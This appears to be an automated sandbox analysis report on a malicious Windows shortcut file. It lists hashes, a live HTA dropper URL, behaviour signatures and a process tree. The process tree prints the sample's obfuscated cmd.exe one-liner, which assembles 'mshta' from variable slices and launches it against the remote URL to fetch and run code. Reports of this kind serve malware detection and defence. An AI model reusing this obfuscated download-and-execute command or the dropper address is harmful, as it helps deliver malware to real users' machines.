Analysis

  • max time kernel
    60s
  • max time network
    45s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    21/08/2026, 16:46

General

  • Target
    DOC-KV5XIU.lnk
  • Size 2KB
  • Sample260821-vac2dsteqd
  • SHA256 86cf68738b5039c8828a672d9dbf67f03d9ca378864c3c8223451da02168a3f0
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KV5XIU.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5024
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/V:on/c"set dVANH=b61stqt&&set vw=m9arujz&&set oC=gwjtte&set AQ=logwasmxtzslog&set ImH=oldyfxsphcvxold&set Ijq=dathiqytvdat&set mq=emc7&&set YLu=mshtesm&&set OF=kaira&set tESu=loghwevnwemnfcthehalog&set IbY=infifpdnpjgbtscsjuvinf&set TJ=bakmpnvzxeydbak&&set BKic=h@ttps://@k@-@document@a@cion@.@l@at/h/@esta@gi@o@1.@php?r=@3@F1@477F153@98D1&&start /b !mq:~1,1!!YLu:~1,3!!OF:~1,1! !BKic:@=!&&set ZhbA=done"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5184
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:1928

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads